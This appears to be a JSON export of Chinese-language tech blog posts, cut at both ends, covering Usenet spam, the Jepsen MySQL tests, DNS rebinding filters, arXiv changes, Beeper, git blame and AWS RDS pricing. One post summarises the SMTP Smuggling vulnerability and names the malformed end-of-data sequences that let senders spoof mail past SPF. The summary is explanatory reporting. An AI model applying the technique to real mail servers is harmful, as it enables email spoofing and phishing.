href=\"https://blog.gslin.org/archives/2023/11/10/11445/google-groups-%E7%9A%84-spam-%E7%9A%84%E9%87%8F%E5%8F%88%E4%B8%8B%E9%99%8D%E4%BA%86%E4%B8%8D%E5%B0%91/\">Google Groups 的 spam 的量又下降了不少...</a>」這篇，後來又有發現不是 Google Groups 的 spam 減少，而是 <a href=\"https://en.wikipedia.org/wiki/Cleanfeed_(Usenet_spam_filter)\">Cleanfeed</a> 裡面用 <a href=\"https://en.wikipedia.org/wiki/Apache_SpamAssassin\">SpamAssassin</a> 會造成跑久以後會 100% CPU，反而接收的速度慢下來...\r\n\r\n在上了 workaround 後 (每個小時自動重跑一次 innd)，可以看到其實完全沒有變少，反而愈來愈多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702666547-6e55b006.webp\" /><img src=\"https://i.gslin.com/s/1702666547-6e55b006.png\" alt=\"\" /></picture>\r\n\r\n倒是後來一直丟 corpus 進去練 SpamAssassin 後看起來效果好很多了，還是會看到一些 spam，但就沒那麼多了...",
    "title": "Google Groups 將在 2024/02/22 斷開與 Usenet 的連接"
  },
  {
    "id": "11531",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2023/12/14/11527/threads-%e8%a6%81%e6%94%be-activitypub-%e4%ba%86%ef%bc%9f/\">Threads 要放 ActivityPub 了？</a>」這篇提到 <a href=\"https://www.threads.net/\">Threads</a> 要放行 <a href=\"https://en.wikipedia.org/wiki/ActivityPub\">ActivityPub</a>，剛剛想到 <a href=\"https://www.tumblr.com/\">Tumblr</a> 這邊不知道在 re-org 後有什麼新消息，然後翻到 <a href=\"https://en.wikipedia.org/wiki/Matt_Mullenweg\">Matt Mullenweg</a> 在 Tumblr 寫了 <a href=\"https://www.tumblr.com/photomatt/736181522416205824/what-is-the-status-of-tumblr-being-connected-to\">這篇</a>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1702836609-24ad4aeb.webp\" /><img src=\"https://i.gslin.com/s/1702836609-24ad4aeb.png\" alt=\"\" /></picture>\r\n\r\n主要是交代有指派人做這件事情，但也先舖了一些理由... 所以看看 2024Q1 有沒有機會看到些東西？",
    "title": "Tumblr 的 ActivityPub 進度"
  },
  {
    "id": "11533",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=38652736\">Ask HN: AI/ML papers to catch up with current state of AI?</a>」這邊看到的，本來只是在討論有哪些 AI/ML paper 可以看，結果在 <a href=\"https://news.ycombinator.com/item?id=38654200\">id=38654200</a> 這邊看到這個網站，上面的資料是每天更新一次：\r\n\r\n<blockquote><a href=\"https://trendingpapers.com/\">https://trendingpapers.com/</a>\r\n\r\nThis tool can help you find what's new & relevant to read. It's updated every day (based on ArXiv).\r\n\r\nYou can filter by category (Computer Vision, Machine Learning, NLP, etc), by release date, but most importantly, you can rank by PageRank (proxy of influence/readership), PageRank growth (to see the fastest growing papers in terms of influence), total # of citations, etc...</blockquote>\r\n\r\n依照「<a href=\"https://trendingpapers.com/faq\">Frequently Asked Questions</a>」的說明，是用 <a href=\"https://en.wikipedia.org/wiki/PageRank\">PageRank</a> 跑 <a href=\"https://en.wikipedia.org/wiki/ArXiv\">arXiv</a> 上面的 paper，主要是 CS 為主。\r\n\r\n難得看到 PageRank 出現而且是用在 paper citation 上面...",
    "title": "用 PageRank 跑 arXiv 上面 CS paper 的排名"
  },
  {
    "id": "11534",
    "body": "剛剛打開 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 看到這篇掛在 top 1，<a href=\"https://www.figma.com/\">Figma</a> 官方宣佈終止與 <a href=\"https://www.adobe.com/\">Adobe</a> 合併的計畫：「<a href=\"https://news.ycombinator.com/item?id=38681861\">Figma and Adobe are abandoning our proposed merger (figma.com)</a>」，原文「<a href=\"https://www.figma.com/blog/figma-adobe-abandon-proposed-merger/\">Figma and Adobe are abandoning our proposed merger</a>」。\r\n\r\n翻了一下維基百科，與壟斷相關的報導有兩個，一個是美國在去年十一月報導的：「<a href=\"https://www.politico.com/news/2022/11/02/doj-review-adobe-20-billion-figma-deal-00064671\">DOJ takes aim at Adobe’s $20 billion deal</a>」，另外一個是歐盟在今年二月報導的：「<a href=\"https://www.ns-businesshub.com/technology/eu-regulators-to-assess-adobe-20bn-acquisition-figma/\">EU regulators to assess Adobe’s $20bn acquisition of Figma</a>」，但這些消息在這種併購案還蠻常見的，這個結果頗意外的...\r\n\r\n這樣的話 Figma 會打算上市嗎？",
    "title": "Adobe 與 Figma 併購破局"
  },
  {
    "id": "11535",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到作者自己貼的：「<a href=\"https://news.ycombinator.com/item?id=38695750\">Jepsen: MySQL 8.0.34 (jepsen.io)</a>」，原文在「<a href=\"https://jepsen.io/analyses/mysql-8.0.34\">MySQL 8.0.34</a>」。\r\n\r\n這次的測試不是 <a href=\"https://www.oracle.com/\">Oracle</a> 付費讓 Jepsen 測，而是 <a href=\"https://jepsen.io/\">Jepsen</a> 這邊自己回頭測試 <a href=\"https://dev.mysql.com/\">MySQL</a> 8.0：\r\n\r\n<blockquote>This work was performed independently without compensation, and conducted in accordance with the Jepsen ethics policy.</blockquote>\r\n\r\n然後意外的流彈 (或是榴彈？) 打下了 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/rds/\">RDS</a>，測出 RDS 在 cluster 模式下無法達到 <code>SERIALIZABILITY</code>：\r\n\r\n<blockquote>As a lagniappe, we show that AWS RDS MySQL clusters routinely violate Serializability.</blockquote>\r\n\r\n然後 MySQL 本體則是找到 <code>REPEATABLE-READ</code> (預設 isolation level) 的問題：\r\n\r\n<blockquote>Using our transaction consistency checker Elle, we show that MySQL Repeatable Read also violates internal consistency. Furthermore, it violates Monotonic Atomic View: transactions can observe some of another transaction’s effects, then later fail to observe other effects of that same transaction. We demonstrate violations of ANSI SQL’s requirements for Repeatable Read.</blockquote>\r\n\r\n文章的前面一大段在寫歷史，解釋 <a href=\"https://en.wikipedia.org/wiki/American_National_Standards_Institute\">ANSI</a> 當初的 <a href=\"https://en.wikipedia.org/wiki/SQL\">SQL</a> 標準在定義 <a href=\"https://en.wikipedia.org/wiki/Isolation_%28database_systems%29\">isolation level</a> 時寫的很差，導致有很多不同的解讀，而且即使到了 <a href=\"https://en.wikipedia.org/wiki/SQL%3A2023\">SQL:2023</a> 也還是沒有改善。\r\n\r\n接著則是提到各家資料庫宣稱的 isolation level 跟 ANSI 定義的又不一樣的問題... (包括了無論怎麼解讀 ANSI 定義的情況)\r\n\r\n不過中間有提到 1999 年 Atul Adya 試著正式定義 isolation level，把本來的四個 isolation level 用更嚴謹的方法重新給出相容的定義，這看起來是作者推薦在一般狀況下的替代方案：\r\n\r\n<blockquote>In 1999, Atul Adya built on Berenson et al.’s critique and developed formal and implementation-independent definitions of various transaction isolation levels, including those in ANSI SQL. As he notes[.]</blockquote>\r\n\r\n這四個會是 <code>PL-1</code> 對應到 <code>READ UNCOMMITTED</code>，<code>PL-2</code> 對應到 <code>READ COMMITTED</code>，<code>PL-2.99</code> 對應到 <code>REPEATABLE-READ</code>，以及 <code>PL-3</code> 對應到 <code>SERIALIZABILITY</code>；而其中 <code>PL-2.99</code> 的 <code>REPEATABLE-READ</code> 在後面也會重複出現多次。\r\n\r\n這次比較意外是在單機上找出問題來，至於 RDS 的部分反倒不是太意外，因為知道 AWS 在底層做了不少 hack，總是會有些 trade off 的？",
    "title": "Jepsen 回過頭來測試 MySQL 8.0"
  },
  {
    "id": "11536",
    "body": "<a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38677124\">0% of the phrases of the original Wikipedia \"Ship of Theseus\" article remain (twitter.com/depthsofwiki)</a>」這篇，引用的是這則 tweet：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">The &quot;Ship of Theseus&quot; article has been edited 1792 times since it was created in July of 2003. At present, 0% of the phrases in the original article (seen below) remain. <a href=\"https://t.co/MzUUqfpiHK\">pic.twitter.com/MzUUqfpiHK</a></p>&mdash; depths of wikipedia (@depthsofwiki) <a href=\"https://twitter.com/depthsofwiki/status/1735800801455419697?ref_src=twsrc%5Etfw\">December 15, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n一開始掃過「<a href=\"https://en.wikipedia.org/wiki/Ship_of_Theseus\">Ship of Theseus</a>」這個條目還沒有感覺，想偷懶發現有中文版的條目「<a href=\"https://zh.wikipedia.org/wiki/%E5%BF%92%E4%BF%AE%E6%96%AF%E4%B9%8B%E8%88%B9\">忒修斯之船</a>」：\r\n\r\n<blockquote>1世紀時的希臘作家普魯塔克提出了這個問題：如果忒修斯的船上的木頭逐漸被替換，直到所有的木頭都不是原來的木頭，那這艘船還是原來的那艘船嗎？這類問題現在被稱做「忒修斯之船」。</blockquote>\r\n\r\n回到原來的 tweet 上看才笑了出來。\r\n\r\n另外補充一下，「<a href=\"https://www.moedict.tw/%E5%BF%92\">忒</a>」這個字念「特」，應該會有人想查，這邊附上連結。",
    "title": "Ship of Theseus 條目的趣事"
  },
  {
    "id": "11538",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://news.ycombinator.com/item?id=38694549\">My cat water fountain comes with a spicy USB power adapter (ounapuu.ee)</a>」，原文在「<a href=\"https://ounapuu.ee/posts/2023/12/19/spicy-usb-adapter/\">My cat water fountain comes with a spicy USB power adapter</a>」。\r\n\r\n作者的貓咪飲水噴泉用的是 USB Type A 的頭供電：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703109720-1ef61c92.webp\" /><img src=\"https://i.gslin.com/s/1703109720-1ef61c92.png\" alt=\"\" /></picture>\r\n\r\n但仔細看會發現是特規，輸出 7.5V：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703109803-73c59115.webp\" /><img src=\"https://i.gslin.com/s/1703109803-73c59115.png\" alt=\"\" /></picture>\r\n\r\n如果隨便收起來亂接的話應該會燒掉不少東西...",
    "title": "輸出 7.5V 的 USB Type A 頭"
  },
  {
    "id": "11539",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上的「<a href=\"https://news.ycombinator.com/item?id=38702783\">Tell HN: Microsoft.com added 192.168.1.1 to their DNS record</a>」這邊看到的，看起來是某種 misconfiguration 造成 <code>microsoft.com</code> 的 <a href=\"https://en.wikipedia.org/wiki/List_of_DNS_record_types\">A record</a> 除了給正常的 IPv4 address 外，還給出了 <code>192.168.1.1</code> 與 <code>192.168.1.0</code> 的 IPv4 address。\r\n\r\n不過裡面比較有趣的是 <a href=\"https://news.ycombinator.com/item?id=38704301\">id=38704301</a> 這個，提到他反而查不到，看 log 發現被 <a href=\"https://en.wikipedia.org/wiki/Dnsmasq\">dnsmasq</a> 認定是 <a href=\"https://en.wikipedia.org/wiki/DNS_rebinding\">DNS rebinding</a> 的攻擊而擋下來不回應任何 IP address：\r\n\r\n<pre>I was getting an empty answer for microsoft.com. Turns out my dnsmasq is blocking it:\r\n\r\n  $ dig microsoft.com. | grep EDE\r\n  ; EDE: 15 (Blocked)\r\n\r\n  resolver.log:Dec 20 00:43:57 router dnsmasq[8172]: possible DNS-rebind attack detected: microsoft.com</pre>\r\n\r\n翻了 dnsmasq 的 <a href=\"https://dnsmasq.org/docs/dnsmasq-man.html\">manpage</a>，可以看到這個功能：\r\n\r\n<blockquote>--stop-dns-rebind\r\n\r\nReject (and log) addresses from upstream nameservers which are in the private ranges. This blocks an attack where a browser behind a firewall is used to probe machines on the local network. For IPv6, the private range covers the IPv4-mapped addresses in private space plus all link-local (LL) and site-local (ULA) addresses.</blockquote>\r\n\r\n在 <a href=\"https://news.ycombinator.com/item?id=38704159\">id=38704159</a> 這邊也有類似的情況，不過這邊是提到 <a href=\"https://en.wikipedia.org/wiki/OpenWrt\">OpenWrt</a>：\r\n\r\n<pre>microsoft.com is currently IPv6-only on my network, because OpenWrt's DNS rebinding protection filters out the A records:\r\n\r\n  $ ping -4 microsoft.com\r\n  ping: microsoft.com: Address family for hostname not supported\r\n\r\n  $ ping -6 microsoft.com\r\n  PING microsoft.com(2603:1030:c02:8::14 (2603:1030:c02:8::14)) 56 data bytes\r\n  64 bytes from 2603:1030:c02:8::14 (2603:1030:c02:8::14): icmp_seq=1 ttl=112 time=68.4 ms</pre>",
    "title": "microsoft.com 的 DNS 出包"
  },
  {
    "id": "11540",
    "body": "看到 <a href=\"https://arxiv.org/\">arXiv</a> 宣佈上了 <a href=\"https://www.fastly.com/\">Fastly</a> 的 <a href=\"https://en.wikipedia.org/wiki/Content_delivery_network\">CDN</a>：「<a href=\"https://blog.arxiv.org/2023/12/18/faster-arxiv-with-fastly/\">Faster arXiv with Fastly</a>」。\r\n\r\n翻了一下 <code>arxiv.org</code> 的 DNS record，可以看到現在是這樣：\r\n\r\n<pre>;; ANSWER SECTION:\r\narxiv.org.              10      IN      A       151.101.131.42\r\narxiv.org.              10      IN      A       151.101.3.42\r\narxiv.org.              10      IN      A       151.101.67.42\r\narxiv.org.              10      IN      A       151.101.195.42</pre>\r\n\r\n用 <a href=\"https://en.wikipedia.org/wiki/MTR_(software)\">mtr</a> 測試，看起來 <a href=\"https://www.hinet.net/\">HiNet</a> 過去的 routing 還是進到新加坡。\r\n\r\n不過 <code>static.arxiv.org</code> 是在 <a href=\"https://aws.amazon.com/cloudfront/\">CloudFront</a> 上：\r\n\r\n<pre>;; ANSWER SECTION:\r\nstatic.arxiv.org.       3600    IN      CNAME   daa2ks08y5ls.cloudfront.net.\r\ndaa2ks08y5ls.cloudfront.net. 60 IN      A       13.35.35.100\r\ndaa2ks08y5ls.cloudfront.net. 60 IN      A       13.35.35.29\r\ndaa2ks08y5ls.cloudfront.net. 60 IN      A       13.35.35.88\r\ndaa2ks08y5ls.cloudfront.net. 60 IN      A       13.35.35.127</pre>\r\n\r\n依照官方的說明看起來還在換，只是不知道已經在 CloudFront 上的 (像是上面提到的 <code>static.arxiv.org</code>) 會不會換過去：\r\n\r\n<blockquote>That includes our home page, listings, abstracts, and papers — both PDF and HTML (more on that soon).</blockquote>",
    "title": "arXiv 上了 Fastly CDN"
  },
  {
    "id": "11541",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38724665\">ArXiv now offers papers in HTML format (arxiv.org)</a>」這則，<a href=\"https://arxiv.org/\">arXiv</a> 推出了 beta 版的 HTML 介面：「<a href=\"https://blog.arxiv.org/2023/12/21/accessibility-update-arxiv-now-offers-papers-in-html-format/\">Accessibility update: arXiv now offers papers in HTML format</a>」。\r\n\r\n不是每一篇都有上，需要是最近用 <a href=\"https://en.wikipedia.org/wiki/TeX\">TeX</a> 類格式上傳的才會轉：\r\n\r\n<blockquote>We are happy to announce that as of Monday, December 18th, arXiv is now generating an HTML formatted version of all papers submitted in TeX/LaTeX (as long as papers were submitted on or after December 1st, 2023 and HTML conversion is successful – more on this below).</blockquote>\r\n\r\n所以我先找了二十年前 <a href=\"https://en.wikipedia.org/wiki/Poincar%C3%A9_conjecture\">Poincaré conjecture</a> (<a href=\"https://zh.wikipedia.org/wiki/%E5%BA%9E%E5%8A%A0%E8%8E%B1%E7%8C%9C%E6%83%B3\">龐加萊猜想</a>) 的三篇論文，就沒有 HTML 版本：「<a href=\"https://arxiv.org/abs/math/0211159\">The entropy formula for the Ricci flow and its geometric applications</a>」、「<a href=\"https://arxiv.org/abs/math/0303109\">Ricci flow with surgery on three-manifolds</a>」、「<a href=\"https://arxiv.org/abs/math/0307245\">Finite extinction time for the solutions to the Ricci flow on certain three-manifolds</a>」。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 的 comment 裡面有人給了有 HTML 版本的論文：「<a href=\"https://browse.arxiv.org/html/2312.12451v1\">The detectability of single spinless stellar-mass black holes through gravitational lensing of gravitational waves with advanced LIGO</a>」，以 render 的效果看起來還不錯？\r\n\r\n另外這個站目前看起來沒有在 <a href=\"https://www.fastly.com/\">Fastly</a> 上：\r\n\r\n<pre>;; ANSWER SECTION:\r\nbrowse.arxiv.org.       300     IN      A       34.160.61.147</pre>\r\n\r\n應該等成熟進 GA 時會把所有 TeX 檔案都轉出來？",
    "title": "arXiv 提供 HTML 版本介面 (beta 版)"
  },
  {
    "id": "11543",
    "body": "<a href=\"https://www.beeper.com/\">Beeper</a> 連續兩篇更新：「<a href=\"https://blog.beeper.com/p/imessage-and-phone-registration-are\">iMessage and Phone Registration Are Back - Kinda</a>」、「<a href=\"https://blog.beeper.com/p/beeper-moving-forward\">Beeper - Moving Forward</a>」。\r\n\r\n第一篇提到新的手機號碼註冊方式，需要用舊的 <a href=\"https://en.wikipedia.org/wiki/IPhone\">iPhone</a> 手機 jailbreak (<a href=\"https://en.wikipedia.org/wiki/IPhone_6\">iPhone 6</a> 到 <a href=\"https://en.wikipedia.org/wiki/IPhone_X\">iPhone X</a>)：\r\n\r\n<blockquote>? Have an old iPhone (6/6s/SE1/7/8/X) and a Mac or Linux computer (Raspberry Pi works) - you’re in luck! Follow our instructions (takes only 10-15 minutes) to jailbreak your iPhone, install a Beeper tool to generate iMessage registration code, then update to the latest Beeper Mini app and enter your code. Phone number registration will now work! Leave the iPhone plugged into power, at home, connected to wifi.</blockquote>\r\n\r\n從「<a href=\"https://help.beeper.com/desktop/how-to-register-phone-number-with-imessage\">How To - Register Phone Number With iMessage</a>」可以看到是用 jailbreak 的方式取得對應的 token (code) 再丟進 Beeper Mini：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703195887-3de55d42.webp\" /><img src=\"https://i.gslin.com/s/1703195887-3de55d42.png\" alt=\"\" /></picture>\r\n\r\n第二篇則是提到貓與老鼠的競賽中不太可能贏：\r\n\r\n<blockquote>As much as we want to fight for what we believe is a fantastic product that really should exist, the truth is that we can’t win a cat-and-mouse game with the largest company on earth.</blockquote>\r\n\r\n然後後續會把力氣放到新的 IM 開發：\r\n\r\n<blockquote>In the new year, we’re shifting focus back to our long-term goal of building the best chat app on earth.</blockquote>\r\n\r\n故事差不多就到這邊...？",
    "title": "Beeper 宣佈新的手機號碼註冊方式，另外後續應該不會再更新了"
  },
  {
    "id": "11544",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=38727987\">SMTP Smuggling – Spoofing Email Worldwide (sec-consult.com)</a>」這個攻擊，原文在「<a href=\"https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/\">SMTP Smuggling - Spoofing E-Mails Worldwide</a>」。\r\n\r\n開頭的圖片把大方向解釋出來了，這是利用不同的 SMTP server 實作上對怎麼結束 <code>DATA</code> 的處理方式不同，這個問題會出現在兩組 SMTP server 丟信件時：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703250837-cab1a216.webp\" /><img src=\"https://i.gslin.com/s/1703250837-cab1a216.png\" alt=\"\" /></picture>\r\n\r\n更細節的說，是遇到對於非 <code>\\r\\n.\\r\\n</code> (非 CRLF) 的處理方式不同時，就會產生出可以攻擊的空間：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703251198-9e7d60c9.webp\" /><img src=\"https://i.gslin.com/s/1703251198-9e7d60c9.png\" alt=\"\" /></picture>\r\n\r\n這樣的攻擊因為可以偽造所有的 header，加上內部 SMTP server 在 IP 層看不到實際的 IP，就可以讓攻擊者完全繞過 <a href=\"https://en.wikipedia.org/wiki/Sender_Policy_Framework\">SPF</a> 檢查的部分。\r\n\r\n從 SMTP 規格說起，在 SMTP 規格上都是用 <code>\\r\\n</code> (CRLF) 當作換行，這點從 1982 年 (41 年前) 已經 obsoleted 的 <a href=\"https://www.rfc-editor.org/rfc/rfc821\">RFC 821</a> 可以看到裡面全部都是使用 <code>\\r\\n</code> 當作換行。\r\n\r\n後來更新的 <a href=\"https://www.rfc-editor.org/rfc/rfc2821\">RFC 2821</a> (2001，也已經 obsoleted) 與 <a href=\"https://www.rfc-editor.org/rfc/rfc5321.html\">RFC 5321</a> (2008，目前的標準) 則是除了描述 <code>\\r\\n.\\r\\n</code> 外，有提到禁止把 <code>\\n.\\n</code> 當作 <code>DATA</code> 的結尾辨識：\r\n\r\n<blockquote>In particular, the sequence \"&lt;LF&gt;.&lt;LF&gt;\" (bare line feeds, without carriage returns) MUST NOT be treated as equivalent to &lt;CRLF&gt;.&lt;CRLF&gt; as the end of mail data indication.</blockquote>\r\n\r\n但除了被禁止的 <code>\\n.\\n</code> 外，這次的攻擊用了其他的排列組合嘗試。\r\n\r\n在 GMX、Ionos 以及 Microsoft Exchange Online 的 SMTP server 上發現都吃 <code>\\n.\\r\\n</code>：\r\n\r\n<blockquote>However, as already mentioned, SMTP smuggling doesn't work for every receiving inbound SMTP server and, in this case, requires inbound SMTP servers to accept &lt;LF&gt;.&lt;CR&gt;&lt;LF&gt; as end-of-data sequence.</blockquote>\r\n\r\n<blockquote>Same as GMX and Ionos, Exchange Online allowed smuggling via a &lt;LF&gt;.&lt;CR&gt;&lt;LF&gt; end-of-data sequence as well, which makes it possible to smuggle from every domain pointing their SPF record to Exchange Online.</blockquote>\r\n\r\n而 Cisco Secure Email (Cloud) Gateway 支援 <code>\\r.\\r</code>：\r\n\r\n<blockquote>By default, Cisco Secure Email (Cloud) Gateway accepts <CR>.<CR> as end-of-data sequence, which does not get filtered by the following SMTP servers when sending outbound:</blockquote>\r\n\r\n另外看了一下 <a href=\"https://www.postfix.org/\">Postfix</a> 這邊的情況，可以看到「<a href=\"https://www.postfix.org/smtp-smuggling.html\">SMTP Smuggling</a>」這份資料，裡面可以看到 Postfix 因為預設支援 <code>\\n.\\r\\n</code> 也受到影響：\r\n\r\n<blockquote>One different email service B that does support broken line endings in SMTP such as in &lt;LF&gt;.&lt;CR&gt;&lt;LF&gt;.</blockquote>\r\n\r\n<blockquote>Postfix is an example of email service B.</blockquote>\r\n\r\n然後可以看到作者 <a href=\"https://en.wikipedia.org/wiki/Wietse_Venema\">Wietse Venema</a> 直接在業面上公開點名 <a href=\"https://sec-consult.com/\">SEC Consult</a> (這次安全漏洞的發現者) 沒有先聯絡的問題：\r\n\r\n<blockquote>Unfortunately, criticial information provided by the researcher was not passed on to Postfix maintainers before publication of the attack, otherwise we would certainly have convinced SEC Consult to change their time schedule until after people had a chance to update their Postfix systems.</blockquote>\r\n\r\n在 Postfix 的 e-mail 公告「<a href=\"https://www.mail-archive.com/postfix-announce@postfix.org/msg00090.html\">[pfx-ann] SMTP Smuggling, workarounds and fix</a>」裡面講的更硬 (non-responsible disclosure process)：\r\n\r\n<blockquote>As part of a non-responsible disclosure process, SEC Consult has published an email spoofing attack that involves a composition of email services with specific differences in the way they handle line endings other than &lt;CR&gt;&lt;LF&gt;.</blockquote>\r\n\r\n從最早的 snapshot (<a href=\"https://web.archive.org/web/20231218105045/https://sec-consult.com/blog/detail/smtp-smuggling-spoofing-e-mails-worldwide/\">20231218105045</a> 這份) 可以確認他們有發現 Postfix 的問題，但 timeline 上沒有接觸 Postfix 的團隊。\r\n\r\n後續的更新把溝通問題推給了 <a href=\"https://www.cert.org/\">CERT</a> 的 <a href=\"https://www.kb.cert.org/vince/\">VINCE platform</a>：\r\n\r\n<blockquote>As documented in the timeline of the blog post, the vulnerabilities were initially identified in June 2023 and after further internal research we contacted the specific, affected vendors (Microsoft, Cisco, GMX/Ionos). GMX and Microsoft fixed the issues promptly. But after receiving some feedback from Cisco, that our identified vulnerability is just a feature of the software and not a bug/vulnerability, we contacted CERT/CC on 17th August to get some help for further discussion with Cisco and involve other potentially affected vendors (such as sendmail) through the VINCE communication platform.</blockquote>\r\n\r\n現在 community 這邊則是在醞釀提議取消他們在 37c3 上面的 talk：「<a href=\"https://gay-pirate-assassins.de/@moanos/statuses/01HJ8D8XQ7ZJ89HN4TZFZZ9AS8\">https://gay-pirate-assassins.de/@moanos/statuses/01HJ8D8XQ7ZJ89HN4TZFZZ9AS8</a>」。",
    "title": "SMTP Smuggling 的安全漏洞 (LF 的問題)，以及 Postfix 被無視的問題"
  },
  {
    "id": "11545",
    "body": "在 X (<a href=\"https://twitter.com/\">Twitter</a>) 上看到這則推，提到了可以讓 <a href=\"https://git-scm.com/docs/git-blame\">git blame</a> 自動忽略掉某些 restyle 或是 reformat 的 commit：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"zh\" dir=\"ltr\">又学到了，当你 format 了整个仓库之后， git blame 就会废掉，全是 format 的 commit。<br>可以创建一个 .git-blame-ignore-revs 文件，写入要忽略的 commit id。<br>执行命令：`git config --local blame.ignoreRevsFile .git-blame-ignore-revs` 就好了<br>GitHub 也会自动读取 .git-blame-ignore-revs 文件</p>&mdash; liruifengv (@liruifengv) <a href=\"https://twitter.com/liruifengv/status/1737636700489470058?ref_src=twsrc%5Etfw\">December 21, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n查了一下是在 2019 年八月出的 2.23.0 引入的，從 <a href=\"https://github.com/git/git/blob/master/Documentation/RelNotes/2.23.0.txt\">Documentation/RelNotes/2.23.0.txt</a> 可以看到說明：\r\n\r\n<pre> * \"git blame\" learned to \"ignore\" commits in the history, whose\r\n   effects (as well as their presence) get ignored.</pre>\r\n\r\n除了可以在專案內單獨設定外，也可以在 <code>~/.gitconfig</code> 內設定：\r\n\r\n<pre>[blame]\r\n    ignoreRevsFile = .git-blame-ignore-revs</pre>\r\n\r\n我是拿 <a href=\"https://github.com/RSS-Bridge/rss-bridge\">rss-bridge</a> 裡的 <a href=\"https://github.com/RSS-Bridge/rss-bridge/blob/master/bridges/ARDMediathekBridge.php\">bridges/ARDMediathekBridge.php</a> 測試，可以看到這個檔案最後的修改是「<a href=\"https://github.com/RSS-Bridge/rss-bridge/commit/4f75591060d95208a301bc6bf460d875631b29cc\">Reformat codebase v4</a>」這包，也就是被放進 ignore 清單的 commit。\r\n\r\n這個 commit 中，對 <code>ARDMediathekBridge.php</code> 這個檔案的 diff 則可以在「<a href=\"https://github.com/RSS-Bridge/rss-bridge/commit/4f75591060d95208a301bc6bf460d875631b29cc#diff-89d6ca7570d2edc79e69c2ae77f32c2f0809acac0b3b7755611994456c16b1d2\">這裡</a>」看到。\r\n\r\n從 diff log 可以看到幾乎是所有的縮排都被改變了，但 GitHub 上面的 Blame 資訊，以及拉下來後用 <code>git blame</code> 或是 <code>tig blame</code> 可以注意到大多數有意義的地方都有被找出來「還原」，只有很簡單的內容沒有被辨識出來 (像是整行只有 <code>/*</code> 或是 <code>{</code> 之類的地方)。\r\n\r\n看起來還是蠻有用的，先丟進 dotfiles 裡面了...",
    "title": "讓 git blame 可以忽略掉某些 restyle/reformat 的 commit"
  },
  {
    "id": "11546",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 推出了 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7 與 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 11 的 RDS Extended Support 服務：「<a href=\"https://aws.amazon.com/blogs/aws/your-mysql-5-7-and-postgresql-11-databases-will-be-automatically-enrolled-into-amazon-rds-extended-support/\">Your MySQL 5.7 and PostgreSQL 11 databases will be automatically enrolled into Amazon RDS Extended Support</a>」。\r\n\r\n直接看官方整理的這張表格比較清楚：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1703379093-4243eb0e.webp\" /><img src=\"https://i.gslin.com/s/1703379093-4243eb0e.png\" alt=\"\" /></picture>\r\n\r\n基本上都到 2027Q1 左右，差不多再多支援三年。\r\n\r\n另外表上的時間有些接不起來的地方，則是在 Note 的地方說明。\r\n\r\n其中 MySQL 5.7 的部分分成兩塊，其中 RDS for MySQL 5.7 的部分是比較清楚的：原來的 RDS standard support 到 2024/02/29，後續從 2024/03/01 馬上接付費的 RDS Extended Support。\r\n\r\n而 <a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> MySQL 2 的 RDS standard support 則是直接一路到 2024/10/31，然後 2024/11/01～2024/11/30 的 RDS Extended Support 不收費，從 2024/12/01 開始收費：\r\n\r\n<blockquote>RDS Extended Support for Aurora MySQL 2 starts on November 1, 2024, but will not be charged until December 1, 2024. Between November 1 and November 30, all Aurora MySQL 2 clusters are covered under RDS Extended Support.</blockquote>\r\n\r\n而 PostgreSQL 11 的部分都一樣 (RDS for PostgreSQL 11 與 Aurora PostgreSQL 11)，原來的 RDS standard support 到 2024/02/29，而 2024/03/01～2024/03/31 的 RDS Extended Support 則是免費的，從 2024/04/01 開始收費：\r\n\r\n<blockquote>RDS Extended Support for PostgreSQL 11 starts on March 1, 2024, but will not be charged until April 1, 2024. Between March 1 and March 31, all PostgreSQL 11 instances on Aurora and RDS are covered under RDS Extended Support.</blockquote>\r\n\r\n然後費用的部分也查的到了，是用 vCPU-hour 計算的，四條產品線的價位在 <code>us-east-1</code> 的計價是相同的，前面兩年是 $0.1/vCPU/hr，而第三年是 $0.2/vCPU/hr。\r\n\r\n由於 RDS 的機器最少是 2 vCPU，所以一台機器至少要多付 $0.2/hr 的費用，這個費用基本上會比 RDS 費用還貴。\r\n\r\n這邊給個比較的數字，同樣在 <code>us-east-1</code> 上，2 vCPU + 8GB RAM 的 <code>db.t4g.large</code> 要 $0.129/hr，而一樣 2 vCPU + 8GB RAM 如果是 <code>db.m7g.large</code> 則是 